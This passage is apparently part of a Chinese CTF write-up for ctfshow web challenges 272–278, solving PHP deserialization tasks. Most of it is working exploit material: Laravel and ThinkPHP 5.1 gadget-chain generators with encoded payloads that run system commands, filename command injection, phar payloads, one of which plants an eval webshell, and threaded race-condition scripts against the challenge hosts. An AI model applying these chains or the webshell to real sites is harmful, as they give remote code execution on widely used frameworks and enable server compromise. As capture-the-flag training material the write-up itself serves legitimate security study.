$this->command = $command; //要执行的php函数 system
$this->parameters = $parameters; //要执行的php函数的参数 array('id')
}
}
}

namespace Faker {
class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
}
}

namespace Illuminate\Foundation {
class Application
{
protected $instances = [];

public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}

namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

$app = new Illuminate\Foundation\Application();

$application = new Illuminate\Foundation\Application($app);

$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami'));

echo urlencode(serialize($pendingcommand));
}

image-20231017184333909

web272

题目

还是这个框架

题解

换条链子

1
O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A4%3A%22feng%22%3B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A34%3A%22%3C%3Fphp+system%28%27cat+%2Fflag%27%29%3Bexit%28%29%3F%3E%22%3B%7D%7D%7D

web273

题目

还是这个Laravel框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

题解

还是上一题的链子

web274

题目

ThinkPHP V5.1框架

题解

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
namespace think\process\pipes{

use think\model\Pivot;

class Windows
{
private $files = [];
public function __construct(){
$this->files[]=new Pivot();
}
}
}
namespace think{
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct(){
$this->data=array(
'Ki1ro'=>new Request()
);
$this->append=array(
'Ki1ro'=>array(
'hello'=>'world'
)
);
}
}
}
namespace think\model{

use think\Model;

class Pivot extends Model
{

}
}
namespace think{
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
public function __construct(){
$this->hook['visible']=[$this,'isAjax'];
$this->filter="system";
}
}
}
namespace{

use think\process\pipes\Windows;

echo base64_encode(serialize(new Windows()));
}

payload:

1
2
?data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJLaTFybyI7YToxOntzOjU6ImhlbGxvIjtzOjU6IndvcmxkIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NToiS2kxcm8iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6ODtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxMDp7czoxMDoidmFyX21ldGhvZCI7czo3OiJfbWV0aG9kIjtzOjg6InZhcl9hamF4IjtzOjA6IiI7czo4OiJ2YXJfcGpheCI7czo1OiJfcGpheCI7czoxMjoidmFyX3BhdGhpbmZvIjtzOjE6InMiO3M6MTQ6InBhdGhpbmZvX2ZldGNoIjthOjM6e2k6MDtzOjE0OiJPUklHX1BBVEhfSU5GTyI7aToxO3M6MTg6IlJFRElSRUNUX1BBVEhfSU5GTyI7aToyO3M6MTI6IlJFRElSRUNUX1VSTCI7fXM6MTQ6ImRlZmF1bHRfZmlsdGVyIjtzOjA6IiI7czoxNToidXJsX2RvbWFpbl9yb290IjtzOjA6IiI7czoxNjoiaHR0cHNfYWdlbnRfbmFtZSI7czowOiIiO3M6MTM6Imh0dHBfYWdlbnRfaXAiO3M6MTQ6IkhUVFBfWF9SRUFMX0lQIjtzOjE1OiJ1cmxfaHRtbF9zdWZmaXgiO3M6NDoiaHRtbCI7fX19fX19
&Ki1ro=cat /flag

image-20231017185357213

web275

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

where is flag?

题解

fn由我们传入,filename=$f,有这两个条件我们就可以rce了

paylaod

1
2
?fn=php;ls
?fn=php;tac flag.php

image-20231017190429007

还可以利用竞争

web276

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

where is flag?

题解

这题没有直接的反序列

生成phar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class filter{
public $filename = "1|echo '<?=@eval(\$_POST[1])?>'>>1.php;tac f*";
public $filecontent;
public $evilfile = true;
public $admin = true;
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new filter();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import requests
import threading
import base64

thread_num=10
thread_list=[]
url = 'http://609f4209-7299-486b-9bfe-d12086509e18.challenge.ctf.show/'

f = open('./phar.phar', 'rb')

data = f.read()
flag = False


def work5():
global flag
#?fn=phar://./phar.phar/
#?fn=phar://phar.phar
r = requests.post(url+"?fn=phar://phar.phar",proxies={'http': '127.0.0.1:2021'})
if "ctfshow{" in r.text:
print(r.text)
flag = True
with open('./flag.txt','w+',encoding = 'utf-8') as f:
f.write(r.text)

def work6():
global flag
r = requests.post(url+"?fn=phar.phar", data=data,proxies={'http': '127.0.0.1:2021'})
if "ctfshow{" in r.text:
print(r.text)
flag = True
with open('./flag.txt','w+',encoding = 'utf-8') as f:
f.write(r.text)


def work7():
global flag
r = requests.post(url+"?fn=/var/www/html/phar.phar", data=data,proxies={'http': '127.0.0.1:2021'})
result = requests.get(url+"?fn=phar://phar.phar",proxies={'http': '127.0.0.1:2021'})
if "ctfshow{" in result.text:
print(result.text)
flag = True

def run():
global flag
while not flag:
print('retry')

"""
方法一:非预期
"""
work7()
"""
方法二:预期,条件竞争
"""
#work5()
#work6()


if __name__ == '__main__':
while thread_num:
t = threading.Thread(target=run)
thread_num-=1
t.start()
thread_list.append(t)

for i in thread_list:
i.join()

web277

题目

where is flag?

题解

提示pickle

phar文件构造脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
unlink('phar.phar');
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}

public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}

$a=new filter(';tac fla?.???','1');
$a->admin = true;
$a->evilfile = true;
$phar = new Phar('1.phar');
$phar->setStub('<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString('1.txt','dky');
?>

多线程文件竞争脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import threading
import time

success = False
# 获取文件数据
def getPhar(phar):
with open(phar,'rb') as f:
data = f.read()
return data

# 写phar文件
def writePhar(url, data):
requests.post(url, data)

# unlink文件
def unlinkPhar(url, data):
global success
r = requests.post(url, data).text
if 'ctfshow{' in r and success is False:
print(r)
success =True

def main():
global success
url = 'http://13837acb-ee42-43ca-9f55-2078d765f4a4.challenge.ctf.show/'
phar = getPhar('1.phar')
while success is False:
time.sleep(1)
w = threading.Thread(target=writePhar, args=(url+'?fn=1.phar', phar))
s = threading.Thread(target=unlinkPhar, args=(url+'?fn=phar://1.phar/1.txt', ''))
w.start()
s.start()

if __name__ == '__main__':
main()

web278

题目

题解

上一题的wp可以继续使用